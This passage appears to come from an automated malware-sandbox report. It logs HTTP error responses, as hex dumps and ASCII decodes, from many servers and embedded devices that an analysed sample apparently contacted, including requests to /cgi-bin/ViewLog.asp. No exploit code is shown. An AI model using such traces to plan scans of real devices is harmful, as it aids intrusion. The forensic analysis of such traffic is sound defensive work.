Not Found</title></head><body><h1>Not Found</h1><p>The requested URL /cgi-bin/ViewLog.asp was not found on this server.</p><hr><address>Apache/2.2.15 (CentOS) Server at 127.0.0.1 Port 80</address></body></html>
Source: global traffic	HTTP traffic detected: HTTP/1.1 403 ForbiddenContent-Type: text/html; charset=utf-8Content-Length: 106Connection: closeData Raw: 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 33 20 46 6f 72 62 69 64 64 65 6e 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 33 20 46 6f 72 62 69 64 64 65 6e 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e Data Ascii: <html><head><title>403 Forbidden</title></head><body><center><h1>403 Forbidden</h1></center></body></html>
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Thu, 21 Mar 2024 04:17:16 GMTServer: Apache/2.2.15 (CentOS)Content-Length: 292Connection: closeContent-Type: text/html; charset=iso-8859-1Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 63 67 69 2d 62 69 6e 2f 56 69 65 77 4c 6f 67 2e 61 73 70 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0a 3c 68 72 3e 0a 3c 61 64 64 72 65 73 73 3e 41 70 61 63 68 65 2f 32 2e 32 2e 31 35 20 28 43 65 6e 74 4f 53 29 20 53 65 72 76 65 72 20 61 74 20 31 32 37 2e 30 2e 30 2e 31 20 50 6f 72 74 20 38 30 3c 2f 61 64 64 72 65 73 73 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL /cgi-bin/ViewLog.asp was not found on this server.</p><hr><address>Apache/2.2.15 (CentOS) Server at 127.0.0.1 Port 80</address></body></html>
Source: global traffic	HTTP traffic detected: HTTP/1.1 403 ForbiddenContent-Type: text/html; charset=utf-8Content-Length: 106Connection: closeData Raw: 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 33 20 46 6f 72 62 69 64 64 65 6e 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 33 20 46 6f 72 62 69 64 64 65 6e 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e Data Ascii: <html><head><title>403 Forbidden</title></head><body><center><h1>403 Forbidden</h1></center></body></html>
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Thu, 21 Mar 2024 04:17:20 GMTServer: ApacheContent-Length: 315Keep-Alive: timeout=5, max=100Connection: Keep-AliveContent-Type: text/html; charset=iso-8859-1Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 0a 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a 48 54 54 50 2f 31 2e 31 20 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 0d 0a 44 61 74 65 3a 20 54 68 75 2c 20 32 31 20 4d 61 72 20 32 30 32 34 20 30 34 3a 31 37 3a 32 30 20 47 4d 54 0d 0a 53 65 72 76 65 72 3a 20 41 70 61 63 68 65 0d 0a 43 6f 6e 74 65 6e 74 2d 4c 65 6e 67 74 68 3a 20 33 34 37 0d 0a 43 6f 6e 6e 65 63 74 69 6f 6e 3a 20 63 6c 6f 73 65 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 69 73 6f 2d 38 38 35 39 2d 31 0d 0a 0d 0a 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 0a 3c 70 3e 59 6f 75 72 20 62 72 6f 77 73 65 72 20 73 65 6e 74 20 61 20 72 65 71 75 65 73 74 20 74 68 61 74 20 74 68 69 73 20 73 65 72 76 65 72 20 63 6f 75 6c 64 20 6e 6f 74 20 75 6e 64 65 72 73 74 61 6e 64 2e 3c 62 72 20 2f 3e 0a 3c 2f 70 3e 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 0a 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL was not found on this server.</p><p>Additionally, a 404 Not Founderror was encountered while trying to use an ErrorDocument to handle the reques
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Thu, 21 Mar 2024 04:21:36 GMTServer: WebsX-Frame-Options: SAMEORIGINX-Content-Type-Options: nosniffX-XSS-Protection: 1;mode=blockCache-Control: no-storeContent-Length: 166Content-Type: text/htmlConnection: keep-aliveKeep-Alive: timeout=60, max=99Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0d 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 44 6f 63 75 6d 65 6e 74 20 45 72 72 6f 72 3a 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 3c 68 32 3e 41 63 63 65 73 73 20 45 72 72 6f 72 3a 20 34 30 34 20 2d 2d 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 32 3e 0d 0a 3c 70 3e 43 61 6e 27 74 20 6f 70 65 6e 20 55 52 4c 3c 2f 70 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <!DOCTYPE html><html><head><title>Document Error: Not Found</title></head><body><h2>Access Error: 404 -- Not Found</h2><p>Can't open URL</p></body></html>
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginxDate: Thu, 21 Mar 2024 04:17:23 GMTContent-Type: text/htmlTransfer-Encoding: chunkedConnection: keep-aliveVary: Accept-EncodingETag: W/"62c682dc-157"Content-Encoding: gzipData Raw: 66 37 0d 0a 1f 8b 08 00 00 00 00 00 00 03 65 50 bb 4e c4 30 10 ec f9 0a 63 89 d2 71 4e 74 79 5c 73 50 43 41 43 85 1c 67 13 5b b2 bd 96 bd 21 17 be 9e 73 c2 55 6c b3 33 a3 dd 19 69 ba c7 97 b7 cb c7 e7 fb 2b 33 e4 dd f9 a1 3b 16 bb 4d 67 a7 a4 3c b0 9c 74 cf 0d 51 cc 8d 94 da e1 32 ae 6a cb 22 93 22 ab 85 c6 40 10 a8 ca cf d5 92 05 a8 4c e2 54 29 af 7e 30 a8 35 57 1a bd 84 94 30 7d 45 35 83 f4 ca 96 73 15 34 88 11 0b 13 5e c5 68 c3 5c 95 60 ce f6 c8 01 d3 08 a9 e7 35 67 99 36 07 3d c7 6f 48 93 c3 b5 31 76 1c 21 b4 77 2e ae ff 94 ed ae 18 b0 b3 a1 e6 54 d7 4f ed 6a 47 32 07 8c 98 2d 59 0c 8d 1a 32 ba 85 a0 25 8c 4d 1d af ad 83 89 76 90 f6 c7 82 06 24 42 5f 20 67 87 5f cf 8b 0b 67 bb e3 1f 39 77 f2 e8 ea d6 9f dc 0b fc 05 66 f7 1e 64 57 01 00 00 0d 0a 30 0d 0a 0d 0a Data Ascii: f7ePN0cqNty\sPCACg[!sUl3i+3;Mg<tQ2j""@LT)~05W0}E5s4^h\`5g6=oH1v!w.TOjG2-Y2%Mv$B_ g_g9wfdW0
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Thu, 21 Mar 2024 05:11:20 GMTServer: DNVRS-WebsCache-Control: no-cacheContent-Length: 166Content-Type: text/htmlConnection: keep-aliveKeep-Alive: timeout=60, max=99Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0d 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 44 6f 63 75 6d 65 6e 74 20 45 72 72 6f 72 3a 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 3c 68 32 3e 41 63 63 65 73 73 20 45 72 72 6f 72 3a 20 34 30 34 20 2d 2d 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 32 3e 0d 0a 3c 70 3e 43 61 6e 27 74 20 6f 70 65 6e 20 55 52 4c 3c 2f 70 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <!DOCTYPE html><html><head><title>Document Error: Not Found</title></head><body><h2>Access Error: 404 -- Not Found</h2><p>Can't open URL</p></body></html>
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Thu, 21 Mar 2024 05:11:20 GMTServer: DNVRS-WebsCache-Control: no-cacheContent-Length: 166Content-Type: text/htmlConnection: keep-aliveKeep-Alive: timeout=60, max=99Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0d 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 44 6f 63 75 6d 65 6e 74 20 45 72 72 6f 72 3a 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 3c 68 32 3e 41 63 63 65 73 73 20 45 72 72 6f 72 3a 20 34 30 34 20 2d 2d 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 32 3e 0d 0a 3c 70 3e 43 61 6e 27 74 20 6f 70 65 6e 20 55 52 4c 3c 2f 70 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <!DOCTYPE html><html><head><title>Document Error: Not Found</title></head><body><h2>Access Error: 404 -- Not Found</h2><p>Can't open URL</p></body></html>
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.22.0 (Ubuntu)Date: Thu, 21 Mar 2024 04:17:27 GMTContent-Type: text/htmlTransfer-Encoding: chunkedConnection: keep-aliveContent-Encoding: gzipData Raw: 37 62 0d 0a 1f 8b 08 00 00 00 00 00 04 03 b3 c9 28 c9 cd b1 e3 e5 b2 c9 48 4d 4c b1 b3 29 c9 2c c9 49 b5 33 31 30 51 f0 cb 2f 51 70 cb 2f cd 4b b1 d1 87 08 da e8 83 95 00 95 26 e5 a7 54 82 b4 24 a7 e6 95 a4 16 d9 d9 64 18 a2 eb 00 8a d8 e8 43 a5 41 66 03 15 41 79 79 e9 99 79 15 fa 86 7a 46 46 7a 06 0a 1a a1 49 a5 79 25 a5 9a c8 6a f5 61 a6 eb 43 5d 06 00 4b e7 45 d2 a2 00 00 00 0d 0a 30 0d 0a 0d 0a Data Ascii: 7b(HML),I310Q/Qp/K&T$dCAfAyyyzFFzIy%jaC]KE0
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Thu, 21 Mar 2024 05:20:13 GMTServer: WebsX-Frame-Options: SAMEORIGINCache-Control: no-cacheContent-Length: 166Content-Type: text/htmlConnection: keep-aliveKeep-Alive: timeout=180, max=99Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0d 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 44 6f 63 75 6d 65 6e 74 20 45 72 72 6f 72 3a 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 3c 68 32 3e 41 63 63 65 73 73 20 45 72 72 6f 72 3a 20 34 30 34 20 2d 2d 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 32 3e 0d 0a 3c 70 3e 43 61 6e 27 74 20 6f 70 65 6e 20 55 52 4c 3c 2f 70 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <!DOCTYPE html><html><head><title>Document Error: Not Found</title></head><body><h2>Access Error: 404 -- Not Found</h2><p>Can't open URL</p></body></html>
Source: global traffic	HTTP traffic detected: HTTP/1.1 403 ForbiddenCache-Control: no-cacheConnection: closeContent-Type: text/html; charset=utf-8Pragma: no-cacheContent-Length: 247Data Raw: 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 52 65 71 75 65 73 74 20 52 65 6a 65 63 74 65 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 77 61 73 20 72 65 6a 65 63 74 65 64 2e 20 50 6c 65 61 73 65 20 63 6f 6e 73 75 6c 74 20 77 69 74 68 20 79 6f 75 72 20 61 64 6d 69 6e 69 73 74 72 61 74 6f 72 2e 3c 62 72 3e 3c 62 72 3e 59 6f 75 72 20 73 75 70 70 6f 72 74 20 49 44 20 69 73 3a 20 31 32 39 33 33 39 36 39 31 39 39 37 37 30 34 36 32 39 34 36 3c 62 72 3e 3c 62 72 3e 3c 61 20 68 72 65 66 3d 27 6a 61 76 61 73 63 72 69 70 74 3a 68 69 73 74 6f 72 79 2e 62 61 63 6b 28 29 3b 27 3e 5b 47 6f 20 42 61 63 6b 5d 3c 2f 61 3e 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e Data Ascii: <html><head><title>Request Rejected</title></head><body>The requested URL was rejected. Please consult with your administrator.<br><br>Your support ID is: 12933969199770462946<br><br><a href='javascript:history.back();'>[Go Back]</a></body></html>
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundContent-Length: 1753Content-Type: text/htmlServer: Microsoft-IIS/6.0X-Powered-By: ASP.NETDate: Thu, 21 Mar 2024 04:19:11 GMTData Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 57 33 43 2f 2f 44 54 44 20 48 54 4d 4c 20 34 2e 30 31 2f 2f 45 4e 22 20 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 54 52 2f 68 74 6d 6c 34 2f 73 74 72 69 63 74 2e 64 74 64 22 3e 0d 0a 3c 48 54 4d 4c 3e 3c 48 45 41 44 3e 3c 54 49 54 4c 45 3e 4e e3 6f 20 e9 20 70 6f 73 73 ed 76 65 6c 20 6c 6f 63 61 6c 69 7a 61 72 20 61 20 70 e1 67 69 6e 61 3c 2f 54 49 54 4c 45 3e 0d 0a 3c 4d 45 54 41 20 48 54 54 50 2d 45 51 55 49 56 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 43 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 77 69 6e 64 6f 77 73 2d 31 32 35 32 22 3e 0d 0a 3c 53 54 59 4c 45 20 74 79 70 65 3d 22 74 65 78 74 2f 63 73 73 22 3e 0d 0a 20 20 42 4f 44 59 20 7b 20 66 6f 6e 74 3a 20 38 70 74 2f 31 32 70 74 20 76 65 72 64 61 6e 61 20 7d 0d 0a 20 20 48 31 20 7b 20 66 6f 6e 74 3a 20 31 33 70 74 2f 31 35 70 74 20 76 65 72 64 61 6e 61 20 7d 0d 0a 20 20 48 32 20 7b 20 66 6f 6e 74 3a 20 38 70 74 2f 31 32 70 74 20 76 65 72 64 61 6e 61 20 7d 0d 0a 20 20 41 3a 6c 69 6e 6b 20 7b 20 63 6f 6c 6f 72 3a 20 72 65 64 20 7d 0d 0a 20 20 41 3a 76 69 73 69 74 65 64 20 7b 20 63 6f 6c 6f 72 3a 20 6d 61 72 6f 6f 6e 20 7d 0d 0a 3c 2f 53 54 59 4c 45 3e 0d 0a 3c 2f 48 45 41 44 3e 3c 42 4f 44 59 3e 3c 54 41 42 4c 45 20 77 69 64 74 68 3d 35 30 30 20 62 6f 72 64 65 72 3d 30 20 63 65 6c 6c 73 70 61 63 69 6e 67 3d 31 30 3e 3c 54 52 3e 3c 54 44 3e 0d 0a 0d 0a 3c 68 31 3e 4e e3 6f 20 e9 20 70 6f 73 73 ed 76 65 6c 20 6c 6f 63 61 6c 69 7a 61 72 20 61 20 70 e1 67 69 6e 61 3c 2f 68 31 3e 0d 0a 41 20 70 e1 67 69 6e 61 20 71 75 65 20 76 6f 63 ea 20 65 73 74 e1 20 70 72 6f 63 75 72 61 6e 64 6f 20 70 6f 64 65 20 74 65 72 20 73 69 64 6f 20 72 65 6d 6f 76 69 64 61 2c 20 6f 20 73 65 75 20 6e 6f 6d 65 20 70 6f 64 65 20 74 65 72 20 73 69 64 6f 20 61 6c 74 65 72 61 64 6f 20 6f 75 20 74 61 6c 76 65 7a 20 65 6c 61 20 6e e3 6f 20 65 73 74 65 6a 61 20 64 69 73 70 6f 6e ed 76 65 6c 20 74 65 6d 70 6f 72 61 72 69 61 6d 65 6e 74 65 2e 0d 0a 3c 68 72 3e 0d 0a 3c 70 3e 54 65 6e 74 65 20 6f 20 73 65 67 75 69 6e 74 65 3a 3c 2f 70 3e 0d 0a 3c 75 6c 3e 0d 0a 3c 6c 69 3e 43 65 72 74 69 66 69 71 75 65 2d 73 65 20 64 65 20 71 75 65 20 6f 20 65 6e 64 65 72 65 e7 6f 20 64 6f 20 73 69 74 65 20 65 78 69 62 69 64 6f 20 6e 61 20 62 61 72 72 61 20 64 65 20 65 6e 64 65 72 65 e7 6f 73 20 64 6f 20 6e 61 76 65 67 61 64 6f 72 20 65 73 74 e1 20 65 73 63 72 69 74 6f 20 65 20 66 6f 72 6d 61 74 61 64 6f 20 63 6f 72 72 65 74 61 6d 65 6e 74 65 2e 3c 2f 6c 69 3e 0d 0a 3c 6c 69 3e 53 65 20 76 6f 63 ea 20 61 63 65 73 73 6f 75 20 65 73 74 61 20 70 e1 67 69 6e 61 20 63 6c 69 63 61 6e 64 6f 20 65 6d 20 75 6d 20 6c 69 6e 6b 2c 20 63 6f 6e 74 61 74 65 20 6f 20 61 64 6d 69 6e 69 73 74 72 61 64 6f 72 20 64 6f 20 73 69 74 65 20 70 61 72 61 20 61 6c 65 72 74
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundX-Content-type-Options: nosniffX-XSS-Protection: 1; mode=blockCACHE-CONTROL: private, no-store, no-cache, must-revalidatePragma: no-cacheCONTENT-LENGTH: 0SERVER: EPSON_Linux UPnP/1.0 Epson UPnP SDK/1.0Connection: close
Source: global traffic	HTTP traffic detected: HTTP/1.1 403 ForbiddenCache-Control: no-cacheConnection: closeContent-Type: text/html; charset=utf-8Pragma: no-cacheContent-Length: 247Data Raw: 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 52 65 71 75 65 73 74 20 52 65 6a 65 63 74 65 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 77 61 73 20 72 65 6a 65 63 74 65 64 2e 20 50 6c 65 61 73 65 20 63 6f 6e 73 75 6c 74 20 77 69 74 68 20 79 6f 75 72 20 61 64 6d 69 6e 69 73 74 72 61 74 6f 72 2e 3c 62 72 3e 3c 62 72 3e 59 6f 75 72 20 73 75 70 70 6f 72 74 20 49 44 20 69 73 3a 20 31 32 39 33 33 39 36 39 31 39 39 37 37 30 34 36 32 39 34 36 3c 62 72 3e 3c 62 72 3e 3c 61 20 68 72 65 66 3d 27 6a 61 76 61 73 63 72 69 70 74 3a 68 69 73 74 6f 72 79 2e 62 61 63 6b 28 29 3b 27 3e 5b 47 6f 20 42 61 63 6b 5d 3c 2f 61 3e 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e Data Ascii: <html><head><title>Request Rejected</title></head><body>The requested URL was rejected. Please consult with your administrator.<br><br>Your support ID is: 12933969199770462946<br><br><a href='javascript:history.back();'>[Go Back]</a></body></html>
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: Microsoft-IIS/10.0X-Powered-By: ASP.NETDate: Thu, 21 Mar 2024 04:17:34 GMTContent-Length: 0
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Thu, 21 Mar 2024 04:17:34 GMTServer: Apache/2.4.58Content-Length: 262Connection: closeContent-Type: text/html; charset=iso-8859-1Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0a 3c 68 72 3e 0a 3c 61 64 64 72 65 73 73 3e 41 70 61 63 68 65 2f 32 2e 34 2e 35 38 20 53 65 72 76 65 72 20 61 74 20 31 32 37 2e 30 2e 30 2e 31 20 50 6f 72 74 20 38 30 3c 2f 61 64 64 72 65 73 73 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL was not found on this server.</p><hr><address>Apache/2.4.58 Server at 127.0.0.1 Port 80</address></body></html>
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginxDate: Thu, 21 Mar 2024 04:17:37 GMTContent-Type: text/htmlContent-Length: 146Connection: keep-aliveData Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>404 Not Found</title></head><body><center><h1>404 Not Found</h1></center><hr><center>nginx</center></body></html>
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundContent-Length: 0X-NWS-LOG-UUID: 9166569554092179147Server: lego_ovs_videoDate: Thu, 21 Mar 2024 04:17:37 GMTX-Cache-Lookup: Return DirectlyConnection: close
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundContent-Type: text/plainContent-Length: 30Connection: close
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Thu Mar 21 01:17:39 2024Server: tr069 http serverContent-Length: 15Connection: closeContent-Type: text/plain; charset=ISO-8859-1Data Raw: 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 0a Data Ascii: File not found
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Thu Mar 21 01:17:40 2024Server: tr069 http serverContent-Length: 15Connection: closeContent-Type: text/plain; charset=ISO-8859-1Data Raw: 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 0a Data Ascii: File not found
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundContent-Type: text/plainContent-Length: 30Connection: close
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Thu Mar 21 14:17:41 2024Server: tr069 http serverContent-Length: 15Connection: closeContent-Type: text/plain; charset=ISO-8859-1Data Raw: 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 0a Data Ascii: File not found
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundConnection: Keep-AliveKeep-Alive: timeout=5, max=100content-type: text/htmltransfer-encoding: chunkedcontent-encoding: gzipvary: Accept-Encodingdate: Thu, 21 Mar 2024 04:17:42 GMTserver: LiteSpeedstrict-transport-security: max-age=63072000; includeSubDomainsx-frame-options: SAMEORIGINx-content-type-options: nosniffData Raw: 33 62 37 0d 0a 1f 8b 08 00 00 00 00 00 00 03 84 55 51 73 a3 36 10 7e 0e bf 62 cf 79 e8 dd 4c 40 e0 34 97 84 10 77 1a c7 37 c9 4c da a4 0e b9 b6 4f 1e 01 8b 51 83 25 22 2d c6 ee 4d ff 7b 47 80 5d 27 f1 4d f5 00 82 fd f6 db d5 a7 d5 ca 71 9c e8 c3 f5 fd 38 fe f3 61 02 05 2d 4a 78 78 ba ba bb 1d c3 c0 65 ec f7 e3 31 63 d7 f1 35 fc 71 13 ff 72 07 81 e7 43 ac b9 34 82 84 92 bc 64 6c f2 eb 00 06 05 51 15 32 d6 34 8d d7 1c 7b 4a cf 59 3c 65 2b cb 15 58 e7 7e ea d2 8e a7 97 51 36 18 39 91 b5 8c 1c 80 a8 40 9e d9 09 40 44 82 4a 1c 45 ac 7b 77 ff 16 48 1c 6c 1c 17 5f 6a b1 bc 1c 8c 95 24 94 e4 c6 eb 0a 07 90 76 5f 97 03 c2 15 31 4b 7a 01 69 c1 b5 41 ba ac 29 3f 1b 00 eb 89 0c ad 4b 04 5a 57 d8 83 53 63 06 9d cd 8e 44 65 6b f8 b6 fd 3c c8 95 24 37 e7 0b 51 ae 43 f8 8a 3a e3 92 1f c1 cf 5a f0 f2 08 6e b0 5c 22 89 94 1f 81 e1 d2 b8 06 b5 c8 2f de 38 1b f1 37 86 10 0c ab d5 8e 25 e1 e9 f3 5c ab 5a 